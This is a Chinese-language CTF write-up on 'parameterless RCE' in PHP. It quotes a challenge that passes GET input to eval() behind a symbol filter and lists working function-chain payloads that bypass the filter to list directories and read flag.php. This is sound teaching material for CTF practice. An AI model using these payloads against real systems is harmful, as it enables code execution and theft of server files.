无参数RCE就从ctfshow的web40说起吧,先看一下这道题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这道题过滤了很多符号,但是放出了英文的圆括号,就直接考虑无参数rce的思路了。
第一步,获取当前路径
var_dump(getcwd());
第二步,获取当前路径下的文件名
var_dump(scandir(getcwd()));
这里看到了这个flag.php文件了,观察一下位置,正数第三个,倒数第二个,这样就可以数组逆置配合next得到flag.php的名字了
第三步,获取目标文件名
var_dump(next(array_reverse(scandir(getcwd()))));
第四步,直接读源码
show_source(next(array_reverse(scandir(getcwd()))));
当然这不是唯一解。。。。。。
正片
例题讲完了,根据上述解法,思路就是:获取路径-获取文件名-读源码,根据这个思路,可以变化的无非就是用什么函数去完成这三个步骤
获取路径
利用“.”
这道题刚好ban掉的东西比较少,适合举例子使用
对于当前路径来说,一个 . 就可以,但是题目ban了,就可以用localeconv()函数
我们看到他返回的数组第一个就是我们需要的.
然后利用pos函数(返回数组中的当前元素的值)就可以得到.了
利用函数
getcwd函数可以直接返回当前路径
dir
realpath(pos(localeconv()))
总结(长期补充)
以下是所有可以得到当前路径的组合
realpath(pos(localeconv()))
__dir__
getcwd()
获取路径下文件名
scandir函数
总结(长期补充)
scandir(路径)
获取目标文件名
数组逆置+next()
因为next函数(函数将内部指针指向数组中的下一个元素,并输出),所以当目标文件在正数第二个或者倒数第二个的时候,就可以用next函数。这里具体介绍倒数第二个,我们可以先将数组逆置,就可以用next指向在第二个位置的目标文件了
先逆置array_reverse(scandir(getcwd()))
再指向next(array_reverse(scandir(getcwd())))
交换键值+随机获取键名
当目标文件不在跟2有关的位置的时候,就可以用这个方法,当然在文件不多的时候这个方法好像是比较通用的一种方法吧,浏览php对数组的操作,
array_flip可以交换键值
array_rand可以随机取键
两个结合一下,随机取值
总结(长期补充)
next(array_reverse(scandir(getcwd())))
array_rand(array_flip(scandir(getcwd())))
读取文件内容
这部分简单,直接上总结
总结(长期补充)
show_source
highlight_file
include
上述就是通过简单的组合读取文件内容。
未完待续……欢迎各位大佬补充